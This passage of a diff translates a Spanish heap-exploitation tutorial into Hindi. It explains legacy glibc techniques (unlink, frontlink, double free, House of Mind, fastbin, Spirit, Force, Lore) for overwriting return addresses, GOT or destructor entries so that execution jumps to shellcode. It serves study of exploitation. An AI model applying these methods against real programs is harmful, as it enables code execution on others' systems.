ओर ले जाया जा सके। -Por lo tanto el exploit se crea: +इसलिए एक्सप्लॉइट इस प्रकार बनाया जाता है: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +buffer1 में हम शेलकोड डालते हैं, जो एक jmp से शुरू होता है ताकि यह nops या शेलकोड के बाकी हिस्से में गिर जाए। -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +शेलकोड के बाद हम अगले टुकड़े के prev_size और size के क्षेत्र तक पहुँचने के लिए भराई डालते हैं। इन स्थानों में हम 0xfffffff0 डालते हैं (इस प्रकार prev_size को ओवरराइट किया जाता है ताकि इसका बिट यह कहे कि यह फ्री है) और “-4“(0xfffffffc) size में (ताकि जब तीसरे टुकड़े में जांच की जाए कि क्या दूसरा वास्तव में फ्री था, यह संशोधित prev_size पर जाए जो उसे बताएगा कि यह फ्री है) -> इस प्रकार जब free() जांच करेगा, यह तीसरे के size पर जाएगा लेकिन वास्तव में यह दूसरे - 4 पर जाएगा और सोचेगा कि दूसरा टुकड़ा फ्री है। और फिर यह **unlink()** को कॉल करेगा। -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +unlink() को कॉल करते समय, यह P->fd के रूप में दूसरे टुकड़े के पहले डेटा का उपयोग करेगा, इसलिए वहां वह पता डाला जाएगा जिसे आप ओवरराइट करना चाहते हैं - 12 (क्योंकि FD->bk में यह FD में संग्रहीत पते में 12 जोड़ेगा)। और उस पते पर वह दूसरा पता डालेगा जो वह दूसरे टुकड़े में पाएगा, जिसे हमें शेलकोड के पते (P->bk झूठा) के रूप में दिलचस्पी होनी चाहिए। **from struct import \*** @@ -281,57 +271,57 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **unset() liberando en sentido inverso (wargame)** -Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado. +हम तीन लगातार टुकड़ों को नियंत्रित कर रहे हैं और इन्हें आरक्षित करने के क्रम में उलट दिया जाता है। -En ese caso: +इस मामले में: -En el chunck c se pone el shellcode +टुकड़ा c में शेलकोड रखा जाता है। -El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre. +टुकड़ा a का उपयोग हम b को इस प्रकार ओवरराइट करने के लिए करते हैं कि size में PREV_INUSE बिट निष्क्रिय हो जाए ताकि यह सोचे कि टुकड़ा a फ्री है। -Además, se sobreescribe en la cabecera b el size para que valga -4. +इसके अलावा, हम b के हेडर में size को इस प्रकार ओवरराइट करते हैं कि यह -4 हो। -Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”. +इसलिए, प्रोग्राम यह सोचेगा कि “a” फ्री है और एक बिन में है, इसलिए यह unlink() को कॉल करेगा ताकि इसे अनलिंक किया जा सके। हालाँकि, चूंकि PREV_SIZE का हेडर -4 है। यह सोचेगा कि “a” का टुकड़ा वास्तव में b+4 में शुरू होता है। अर्थात, यह b+4 में एक unlink() करेगा, इसलिए b+12 में पॉइंटर “fd” होगा और b+16 में पॉइंटर “bk” होगा। -De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload. +इस प्रकार, यदि हम bk में शेलकोड का पता डालते हैं और fd में “puts()”-12 का पता डालते हैं, तो हमें अपना पेलोड मिल जाएगा। -**Técnica de Frontlink** +**फ्रंटलिंक तकनीक** -Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink(). +फ्रंटलिंक तब कहा जाता है जब कुछ मुक्त किया जाता है और इसके कोई भी सन्निकट टुकड़े फ्री नहीं होते, unlink() को नहीं कहा जाता है बल्कि सीधे frontlink() को कहा जाता है। -Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()). +यह तब उपयोगी होता है जब हमले का malloc कभी मुक्त नहीं होता (free())। -Necesita: +आवश्यकताएँ: -Un buffer que pueda desbordarse con la función de entrada de datos +एक बफर जो डेटा इनपुट फ़ंक्शन के साथ ओवरफ्लो हो सकता है। -Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior +एक बफर जो इसके बगल में है जिसे मुक्त किया जाना चाहिए और जिसके हेडर के fd क्षेत्र को पिछले बफर के ओवरफ्लो के कारण संशोधित किया जाएगा। -Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior +एक बफर जिसे मुक्त किया जाना है जिसका आकार 512 से बड़ा लेकिन पिछले बफर से छोटा होना चाहिए। -Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este +एक बफर जो चरण 3 से पहले घोषित किया गया है जो इस पर prev_size को ओवरराइट करने की अनुमति देता है। -De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit. +इस प्रकार, दो mallocs में अनियंत्रित रूप से ओवरराइट करने और एक में नियंत्रित रूप से ओवरराइट करने में सफल होकर, हम एक एक्सप्लॉइट बना सकते हैं। -**Vulnerabilidad double free()** +**double free() की संवेदनशीलता** -Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección. +यदि एक ही पॉइंटर के साथ दो बार free() को कॉल किया जाता है, तो दो बिन एक ही पते की ओर इशारा करते हैं। -En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior. +यदि किसी एक का फिर से उपयोग करना चाहते हैं, तो इसे बिना किसी समस्या के असाइन किया जाएगा। यदि किसी अन्य का उपयोग करना चाहते हैं, तो इसे उसी स्थान पर असाइन किया जाएगा, इसलिए हमारे पास “fd” और “bk” पॉइंटर्स होंगे जो पिछले आवंटन के डेटा के साथ झूठे होंगे। -**After free()** +**free() के बाद** -Un puntero previamente liberado es usado de nuevo sin control. +एक पहले मुक्त किया गया पॉइंटर बिना नियंत्रण के फिर से उपयोग किया जाता है। -## **8 Heap Overflows: Exploits avanzados** +## **8 हीप ओवरफ्लो: उन्नत एक्सप्लॉइट** -Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink(). +unlink() और FrontLink() की तकनीकें unlink() फ़ंक्शन को संशोधित करने पर हटा दी गईं। **The house of mind** -Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado. +कोड को मनमाने ढंग से निष्पादित करने के लिए केवल एक free() कॉल की आवश्यकता होती है। एक दूसरे टुकड़े की तलाश करना महत्वपूर्ण है जिसे एक पूर्ववर्ती द्वारा ओवरफ्लो किया जा सकता है और मुक्त किया जा सकता है। -Una llamada a free() provoca llamar a public_fREe(mem), este hace: +एक free() कॉल public_fREe(mem) को कॉल करने का कारण बनती है, यह करता है: mstate ar_ptr; @@ -339,7 +329,7 @@ mchunkptr p; … -p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mes); —> वह पता लौटाता है जहां टुकड़ा शुरू होता है (mem-8) … @@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +\[1] में, यह size फ़ील्ड को NON_MAIN_ARENA बिट की जांच करता है, जिसे बदला जा सकता है ताकि जांच true लौटाए और heap_for_ptr() को निष्पादित किया जा सके, जो “mem” पर एक and करता है, जिससे 2.5 कम महत्वपूर्ण बाइट्स 0 हो जाते हैं (हमारे मामले में 0x0804a000 से 0x08000000 छोड़ता है) और 0x08000000->ar_ptr (जैसे कि यह एक struct heap_info हो) तक पहुँचता है। -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +इस प्रकार, यदि हम 0x0804a000 पर एक टुकड़ा नियंत्रित कर सकते हैं और 0x081002a0 पर एक टुकड़ा मुक्त किया जा रहा है, तो हम 0x08100000 पर पहुँच सकते हैं और जो चाहें लिख सकते हैं, उदाहरण के लिए **0x0804a000**। जब यह दूसरा टुकड़ा मुक्त किया जाएगा, तो यह पाएगा कि heap_for_ptr(ptr)->ar_ptr वह है जो हमने 0x08100000 में लिखा है (क्योंकि 0x081002a0 पर and लागू किया गया है और वहां से पहले 4 बाइट्स का मान निकाला गया है, ar_ptr)। -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +इस प्रकार, \_int_free(ar_ptr, mem) को कॉल किया जाता है, अर्थात, **\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +357,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +जैसा कि हमने पहले देखा, हम av के मान को नियंत्रित कर सकते हैं, क्योंकि यह वही है जो हम उस टुकड़े में लिखते हैं जिसे मुक्त किया जाएगा। -Tal y como se define unsorted_chunks, sabemos que:\ +जैसा कि unsorted_chunks को परिभाषित किया गया है, हम जानते हैं:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +इसलिए यदि हम av->bins\[2] में \_\_DTOR_END\_\_-12 का मान लिखते हैं, तो अंतिम निर्देश में \_\_DTOR_END\_\_ में दूसरे टुकड़े का पता लिखा जाएगा। -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +अर्थात, पहले टुकड़े में हमें शुरुआत में कई बार \_\_DTOR_END\_\_-12 का पता डालना होगा क्योंकि av->bins\[2] इसे निकालेगा। -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +जिस पते पर दूसरे टुकड़े का पता गिरता है, उसके अंतिम 5 ज़ीरो में हमें पहले टुकड़े का पता लिखना होगा ताकि heap_for_ptr() यह सोच सके कि ar_ptr पहले टुकड़े की शुरुआत में है और वहां से av->bins\[2] निकाले। -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +दूसरे टुकड़े में और पहले के माध्यम से हम prev_size को 0x0c के साथ और size को कुछ ऐसा डालते हैं जो -> NON_MAIN_ARENA को सक्रिय करता है। -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +इसके बाद, टुकड़ा 2 में nops का एक ढेर डालते हैं और अंत में शेलकोड। -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +इस प्रकार, \_int_free(TROZO1, TROZO2) को कॉल किया जाएगा और निर्देशों का पालन करते हुए \_\_DTOR_END\_\_ में TROZO2 के prev_size का पता लिखा जाएगा, जो शेलकोड पर कूद जाएगा। -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +इस तकनीक को लागू करने के लिए कुछ और आवश्यकताएँ पूरी होनी चाहिए जो पेलोड को थोड़ा और जटिल बनाती हैं। -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +यह तकनीक अब लागू नहीं है क्योंकि unlink के लिए लगभग वही पैच लागू किया गया था। यह जांचता है कि जिस नए स्थान की ओर इशारा किया जा रहा है, क्या वह भी उसी की ओर इशारा कर रहा है। **Fastbin** -Es una variante de The house of mind +यह The house of mind का एक रूपांतर है। -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +हमें अगले कोड को निष्पादित करने के लिए पहुंचना महत्वपूर्ण है, जिसे \_int_free() फ़ंक्शन की पहली जांच के बाद पहुंचा जा सकता है। -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +394,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +इस प्रकार, यदि fb में एक फ़ंक्शन का पता GOT में रखा जाता है, तो इस पते पर ओवरराइट किया जाएगा। इसके लिए आवश्यक होगा कि एरेना dtors के पते के करीब हो। अधिक सटीक रूप से, av->max_fast उस पते पर होना चाहिए जिसे हम ओवरराइट करने जा रहे हैं। -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +चूंकि The House of Mind में यह देखा गया था कि हम av के स्थान को नियंत्रित कर सकते हैं। -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +तो यदि हम size फ़ील्ड में 8 + NON_MAIN_ARENA + PREV_INUSE डालते हैं —> fastbin_index() हमें fastbins\[-1] लौटाएगा, जो av->max_fast की ओर इशारा करेगा। -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +इस मामले में av->max_fast वह पता होगा जो ओवरराइट किया जाएगा (न कि जिस पर यह इशारा करता है, बल्कि वह स्थिति जो ओवरराइट की जाएगी)। -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +इसके अलावा, यह सुनिश्चित करना होगा कि मुक्त किए गए टुकड़े का सन्निकट टुकड़ा 8 से बड़ा हो -> चूंकि हमने कहा है कि मुक्त किए गए टुकड़े का आकार 8 है, इस झूठे टुकड़े में हमें केवल 8 से बड़ा आकार डालना होगा (जैसा कि शेलकोड मुक्त किए गए टुकड़े में जाएगा, पहले एक jmp डालना होगा जो nops में गिरता है)। -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +इसके अलावा, वही झूठा टुकड़ा av->system_mem से छोटा होना चाहिए। av->system_mem 1848 बाइट्स आगे है। -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +\_DTOR_END\_ के शून्य और GOT में कुछ पते के कारण, इन खंडों में से कोई भी ओवरराइट करने के लिए उपयुक्त नहीं है, इसलिए चलिए देखते हैं कि हम fastbin को स्टैक पर हमला करने के लिए कैसे लागू कर सकते हैं। -Otra forma de ataque es redirigir el **av** hacia la pila. +हमले का एक और तरीका **av** को स्टैक की ओर पुनर्निर्देशित करना है। -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +यदि हम size को 8 के बजाय 16 में संशोधित करते हैं, तो: fastbin_index() हमें fastbins\[0] लौटाएगा और हम इसका उपयोग स्टैक को ओवरराइट करने के लिए कर सकते हैं। -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +इसके लिए, स्टैक में कोई कैनरी या अजीब मान नहीं होना चाहिए, वास्तव में हमें इस पर होना चाहिए: 4 बाइट्स शून्य + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +4 बाइट्स शून्य की आवश्यकता है ताकि **av** इस पते पर हो और **av** का पहला तत्व वह म्यूटेक्स होना चाहिए जिसका मान 0 होना चाहिए। -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +**av->max_fast** EBP होगा और यह एक मान होगा जो हमें प्रतिबंधों को बायपास करने में मदद करेगा। -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +**av->fastbins\[0]** को **p** के पते के साथ ओवरराइट किया जाएगा और यह RET होगा, इस प्रकार यह शेलकोड पर कूद जाएगा। -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +इसके अलावा, **av->system_mem** (स्टैक में स्थिति से 1484 बाइट्स ऊपर) में बहुत सारी बर्बादी होगी जो हमें जांच को बायपास करने की अनुमति देगी। -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +इसके अलावा, यह सुनिश्चित करना होगा कि मुक्त किए गए टुकड़े का सन्निकट टुकड़ा 8 से बड़ा हो -> चूंकि हमने कहा है कि मुक्त किए गए टुकड़े का आकार 16 है, इस झूठे टुकड़े में हमें केवल 8 से बड़ा आकार डालना होगा (जैसा कि शेलकोड मुक्त किए गए टुकड़े में जाएगा, पहले एक jmp डालना होगा जो nops में गिरता है जो नए झूठे टुकड़े के size क्षेत्र के बाद आते हैं)। **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +इस मामले में हम एक ऐसा malloc पॉइंटर प्राप्त करने की कोशिश कर रहे हैं जिसे हमलावर द्वारा संशोधित किया जा सके (उदाहरण के लिए, यदि पॉइंटर स्टैक में एक संभावित ओवरफ्लो के नीचे हो)। -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +इस प्रकार, हम इस पॉइंटर को कहीं भी इशारा करने के लिए बना सकते हैं। हालाँकि, कोई भी स्थान मान्य नहीं है, झूठे टुकड़े का आकार av->max_fast से छोटा होना चाहिए और विशेष रूप से भविष्य में malloc() के लिए अनुरोधित आकार के बराबर होना चाहिए +8। इसलिए, यदि हम जानते हैं कि इस संवेदनशील पॉइंटर के बाद malloc(40) को कॉल किया जाएगा, तो झूठे टुकड़े का आकार 48 होना चाहिए। -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +यदि उदाहरण के लिए, प्रोग्राम उपयोगकर्ता से एक संख्या पूछता है, तो हम 48 दर्ज कर सकते हैं और malloc के संशोधित पॉइंटर को अगले 4 बाइट्स (जो भाग्य से EBP से संबंधित हो सकते हैं, इस प्रकार 48 पीछे रह जाता है, जैसे कि यह आकार का हेडर हो) की ओर इशारा कर सकते हैं। इसके अलावा, पता ptr-4+48 को कई शर्तों को पूरा करना चाहिए (इस मामले में ptr=EBP), अर्थात्, 8 < ptr-4+48 < av->system_mem। -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +यदि यह पूरा होता है, तो जब अगली malloc को कॉल किया जाएगा, जिसे हमने कहा था कि वह malloc(40) है, तो उसे EBP के पते के रूप में असाइन किया जाएगा। यदि हमलावर यह भी नियंत्रित कर सकता है कि इस malloc में क्या लिखा गया है, तो वह EBP और EIP दोनों को उस पते के साथ ओवरराइट कर सकता है जो वह चाहता है। -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +मुझे लगता है कि ऐसा इसलिए है क्योंकि जब इसे मुक्त किया जाएगा, तो free() यह रिकॉर्ड करेगा कि स्टैक के EBP को इंगित करने वाले पते पर एक टुकड़ा है जो नए malloc() के लिए आरक्षित करने के लिए एकदम सही आकार है, इसलिए इसे उस पते को असाइन करता है। **The House of Force** -Es necesario: +आवश्यक है: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- एक टुकड़े पर ओवरफ्लो जो वाइल्डरनेस को ओवरराइट करने की अनुमति देता है। +- उपयोगकर्ता द्वारा परिभाषित आकार के साथ malloc() को कॉल करना। +- एक malloc() कॉल करना जिसके डेटा उपयोगकर्ता द्वारा परिभाषित किए जा सकते हैं। -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +पहली बात यह है कि वाइल्डरनेस के टुकड़े के आकार को एक बहुत बड़े मान (0xffffffff) के साथ ओवरराइट किया जाता है, ताकि कोई भी पर्याप्त बड़ा मेमोरी अनुरोध \_int_malloc() में बिना हीप को बढ़ाए संसाधित किया जाए। -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +दूसरी बात यह है कि av->top को एक ऐसे मेमोरी क्षेत्र की ओर इशारा करने के लिए संशोधित किया जाता है जो हमलावर के नियंत्रण में है, जैसे कि स्टैक। av->top में \&EIP - 8 रखा जाएगा। -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +हमें av->top को इस प्रकार ओवरराइट करना होगा कि यह हमलावर के नियंत्रण में मेमोरी क्षेत्र की ओर इशारा करे: victim = av->top; @@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victim वर्तमान वाइल्डरनेस टुकड़े के पते का मान रखता है (वर्तमान av->top) और remainder वास्तव में उस पते का योग है जो malloc() द्वारा अनुरोधित बाइट्स की मात्रा है। इसलिए यदि \&EIP-8 0xbffff224 पर है और av->top 0x080c2788 है, तो अगली malloc() के लिए av->top को $EIP-8 की ओर इशारा करने के लिए हमें नियंत्रित malloc में आरक्षित करने की मात्रा होगी: -0xbffff224 - 0x080c2788 = 3086207644. +0xbffff224 - 0x080c2788 = 3086207644। -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +इस प्रकार, av->top में संशोधित मान रखा जाएगा और अगली malloc EIP की ओर इशारा करेगा और इसे ओवरराइट कर सकेगा। -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +यह जानना महत्वपूर्ण है कि नए वाइल्डरनेस टुकड़े का आकार पिछले malloc() द्वारा किए गए अनुरोध से बड़ा होना चाहिए। अर्थात्, यदि वाइल्डरनेस \&EIP-8 की ओर इशारा कर रहा है, तो आकार स्टैक के EBP क्षेत्र में ठीक रहेगा। **The House of Lore** -**Corrupción SmallBin** +**SmallBin का भ्रष्टाचार** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +मुक्त किए गए टुकड़े उनके आकार के आधार पर बिन में डाले जाते हैं। लेकिन उन्हें डालने से पहले unsorted bins में रखा जाता है। एक टुकड़ा मुक्त किया जाता है, इसे तुरंत अपने बिन में नहीं डाला जाता है बल्कि यह unsorted bins में रहता है। इसके बाद, यदि एक नया टुकड़ा आरक्षित किया जाता है और पिछले मुक्त किए गए टुकड़े का उपयोग किया जा सकता है, तो इसे वापस कर दिया जाता है, लेकिन यदि एक बड़ा टुकड़ा आरक्षित किया जाता है, तो unsorted bins में मुक्त किया गया टुकड़ा उसके उचित बिन में डाल दिया जाता है। -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +संवेदनशील कोड तक पहुँचने के लिए मेमोरी अनुरोध av->max_fast (72 सामान्यतः) से बड़ा और MIN_LARGE_SIZE (512) से छोटा होना चाहिए। -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +यदि बिन में उस अनुरोध के लिए उपयुक्त आकार का एक टुकड़ा है, तो इसे अनलिंक करने के बाद वापस कर दिया जाएगा: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; पिछले टुकड़े की ओर इशारा करता है, यह एकमात्र जानकारी है जिसे हम संशोधित कर सकते हैं। -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; पूर्व अंतिम टुकड़ा अंतिम बन जाता है, यदि bck स्टैक की ओर इशारा करता है, तो अगले आरक्षित टुकड़े को यह पता दिया जाएगा। -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; यह सूची को बंद करता है ताकि यह बिन की ओर इशारा करे। -Se necesita: +आवश्यक है: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +दो malloc आरक्षित करना, ताकि पहले को ओवरफ्लो किया जा सके, इसके बाद दूसरे को मुक्त किया गया हो और इसे उसके बिन में डाला गया हो (अर्थात, ओवरफ्लो करने से पहले दूसरे टुकड़े से बड़ा malloc आरक्षित किया गया हो)। -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +जिस malloc को हमलावर द्वारा चुने गए पते को दिया जाता है, वह हमलावर द्वारा नियंत्रित होना चाहिए। -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +लक्ष्य यह है कि यदि हम एक हीप पर ओवरफ्लो कर सकते हैं जिसमें नीचे एक पहले से मुक्त किया गया टुकड़ा है और यह उसके बिन में है, तो हम इसके bk पॉइंटर को संशोधित कर सकते हैं। यदि हम इसके bk पॉइंटर को संशोधित करते हैं और यह टुकड़ा बिन की सूची का पहला बन जाता है और इसे आरक्षित किया जाता है, तो बिन को यह बताया जाएगा कि सूची का अंतिम टुकड़ा (अगला जो पेश किया जाएगा) उस झूठे पते पर है जिसे हमने रखा है (स्टैक या GOT के रूप में)। इसलिए यदि एक और टुकड़ा फिर से आरक्षित किया जाता है और हमलावर को उस पर अनुमति है, तो उसे इच्छित स्थिति में एक टुकड़ा दिया जाएगा और वह उस पर लिख सकेगा। -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +संशोधित टुकड़े को मुक्त करने के बाद, यह आवश्यक है कि एक टुकड़ा मुक्त किए गए टुकड़े से बड़ा हो, ताकि संशोधित टुकड़ा unsorted bins से बाहर निकल जाए और अपने बिन में डाल दिया जाए। -Una vez en su bin es el momento de modificarle el puntero 